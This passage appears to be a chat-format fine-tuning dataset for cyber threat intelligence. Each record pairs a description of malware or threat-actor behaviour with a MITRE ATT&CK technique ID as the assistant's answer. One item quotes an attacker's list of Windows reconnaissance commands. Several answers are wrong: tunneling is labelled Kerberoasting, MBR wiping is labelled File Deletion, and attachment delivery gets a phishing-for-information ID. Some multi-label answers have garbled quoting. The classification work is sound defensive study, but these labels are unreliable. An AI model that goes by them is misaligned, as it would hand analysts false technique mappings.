            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To do so, this malware attempts to spread to other systems on network using what are likely stolen administrator credentials. This is again similar to the 2012 Shamoon attacks, where compromised but legitimate credentials obtained in advance of the attacks were also hard coded into the malware to aid in its propagation. Disttrack also has the ability to download and execute additional applications to the system, as well as remotely set the date to start wiping systems"
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When the decrypt button is clicked without the ransom being paid, the malware decrypts the files listed in f.wnry. The files listed in f.wnry are those randomly selected to be encrypted with the embedded public key"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Threat Group-3390 tool can encrypt payloads using XOR. Threat Group-3390 malware is also obfuscated using Metasploit’s shikata_ga_nai encoder as well as compressed with LZNT1 compression."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OceanSalt has been delivered via spearphishing emails with Microsoft Office attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SLOTHFULMEDIA has been created with a hidden attribute to insure it's not visible to the victim."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "runs tests to determine the privilege level of the compromised user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The IceApple ifconfig module can iterate over all network interfaces on the host and retrieve the name, description, MAC address, DNS suffix, DNS servers, gateways, IPv4 addresses, and subnet masks."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT1 used a batch script to perform a series of discovery techniques and saves it to a text file."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SharpStage has a persistence component to write a scheduled task for the payload."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection process is rather interesting, as it involves multiple layers of .NET assemblies that will eventually download the NanoCore remote administration tool (RAT) from a remote server and inject it into another process"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Honeybee, the threat actors used the malicious NTWDBLIB.DLL and `cliconfig.exe` to bypass UAC protections."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "More_eggs has the capability to gather the username from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obtains the current user's security identifier."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla has used SMTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This ID is sent to the CnC with each request for commands to execute"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Windows can determine if the OS on a compromised host is newer than Windows XP."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 contains modules for local privilege escalation exploits such as CVE-2016-9192 and CVE-2016-0099."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used Android backdoors capable of enumerating specific files on the infected devices."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ComRAT can check the victim's default browser to determine which process to inject its communications module into."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The IceApple Active Directory Querier module  can perform authenticated requests against an Active Directory server."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LockerGoga has encrypted files, including core Windows OS files, using RSA-OAEP MGF1 and then demanded Bitcoin be paid for the decryption key."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accomplished this by using administrative accounts to connect via SMB to targeted users, and then copy their Chrome profile directories as well as data protection API (DPAPI) data. In Windows, Chrome cookies and saved passwords are encrypted using DPAPI"
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper's backdoor could list the infected system's installed software."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors used the del.exe command with the /f parameter to force the deletion of read-only files with the *.rar and tempg* wildcards."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shamoon enables the service RemoteRegistry, which allows a program to remotely modify the registry. It also disables remote user account control by enabling the registry key LocalAccountTokenFilterPolicy"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DRATzarus can enumerate and examine running processes to determine if a debugger is present."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has executed Windows commands by using `cmd` and running batch scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can execute commands on victims."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrailBlazer has used random identifier strings to obscure its C2 operations and result codes."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Chinoxy dropping function can initiate decryption of its config file."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN4 has created rules in victims' Microsoft Outlook accounts to automatically delete emails containing words such as “hacked,\" \"phish,\" and “malware\" in a likely attempt to prevent organizations from communicating about their activities."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string. That malicious dll then loads encrypted shellcode from the binary, which is decrypted and runs the final BUGJUICE payload. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. Messages are encrypted using AES with a static key. The versions used by APT10 (1.3.4.0, 2.0.0.0, and 2.0.0.1) are not available via the public GitHub page, indicating that APT10 has further customized the open source version. The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload. QUASARRAT is a fully functional .NET backdoor that has been used by multiple cyber espionage groups in the past"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can exploit vulnerabilities such as MS14-058."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turian can use WinRAR to create a password-protected archive for files of interest."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary also used the commodity Cobalt Strike framework and Plink tunneling tool in many of these campaigns"
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Revenge RAT uses cmd.exe to execute commands and run scripts on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sliver can encode binary data into a .PNG file for C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation via Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLATINUM has transferred files using the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses Microsoft’s TechNet Web portal to obtain an encoded tag containing the IP address of a command and control server and then communicates separately with that IP address for C2. If the C2 server is discovered or shut down, the threat actors can update the encoded IP address on TechNet to maintain control of the victims’ machines."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can use PsExec to execute a payload on a remote host. It can also use Service Control Manager to start new services."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The data dump included the 0000000000.bat file, which when executed on an infected system would run the following commands to gather information to be sent back to the C2 server:  whoami hostname ipconfig /all net user /domain net group /domain net group “domain admins” /domain net group “Exchange Trusted Subsystem” /domain net accounts /domain net user net localgroup administrators netstat -an tasklist systeminfo reg query “HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default” schtasks /query /FO List /TN “GoogleUpdatesTaskMachineUI” /V | findstr /b /n /c:”Repeat: Every:” WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List  This batch script is also interesting as it uses echo commands to include headers before each of the command results"
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery', 'T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "admin@338 actors used the following commands after exploiting a machine with LOWBALL malware to obtain information about the OS: \"ver >> %temp%\\download\" \"systeminfo >> %temp%\\download\""
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  backdoor compresses communications using the standard Zlib compression library."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QUADAGENT gathers the victim username."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MailSniper can be used for searching through email in Exchange and Office 365 environments."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has access to destructive malware that is capable of overwriting a machine's Master Boot Record (MBR)."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Poseidon Group searches for administrator accounts on both the local victim machine and the network."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account', 'T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can leverage WMI debugging to remotely replace binaries like sethc.exe, Utilman.exe, and Magnify.exe with cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Based on posts on an underground forum, we believe that the developer of Chthonic supplies binaries to other cyber-criminals and rents out the C2 infrastructure. Therefore, this distribution of victims likely represents several otherwise unconnected cyber-crime operations."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware', 'T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard has searched for SSH keys, Docker credentials, and Kubernetes service tokens."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may be used to exfiltrate data separate from the main command and control protocol."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole avoids analysis by encrypting all strings, internal files, configuration data and by using a custom executable format."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LiteDuke can enumerate the account name on a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UBoatRAT takes advantage of the /SetNotifyCmdLine option in BITSAdmin to ensure it stays running on a system to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon initial execution, the Windows Registry is checked to determine if DarkWatchman has already been installed. The malware stores its configuration in ‘\\\\HKCU\\Software\\Microsoft\\Windows\\DWM\\‘, using registry keys that consist of a uid generated from the serial number of the C: drive and appended with a single digit or character. Installation is denoted by uid + 0 (eg: abc1230) – if the malware does not find a ‘1‘ flag in this key, it runs its install function"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PingPull can collect data from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KEYMARBLE uses a customized XOR algorithm to encrypt C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIVEHANDS can receive a CLI argument for a path, this limits the ransomware's file encryption activities to the specified directory. DEATHRANSOM and HELLOKITTY do not accept CLI arguments"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used webshells including P.A.S. Webshell to maintain access to victim networks."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WarzoneRAT has relied on a victim to open a malicious attachment within an email for execution."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has conducted credential theft operations to obtain credentials to be used for access to victim environments."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth has been delivered via malicious e-mail attachments."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HotCroissant has the ability to retrieve a list of services on the infected host."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command ID 17 indexes to a function that collects the system information and sends it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rifdoor has the ability to identify the Windows version on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In rare cases, LockBit 2.0 has been observed to create accounts for persistence with simple names, such as “a.”"
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SYSCON has the ability to execute commands through cmd on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "use HTTPS for all command and control communication methods."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AutoIt backdoor downloads a PowerShell script that decodes to a typical shellcode loader."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Frankenstein has collected information via Empire, which is automatically sent the data back to the adversary's C2."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration', 'T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Linfo creates a backdoor through which remote attackers can delete files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to list all servers in the domain, as well as one to locate domain controllers on a domain."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Olympic Destroyer attempts to copy itself to remote machines on the network."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
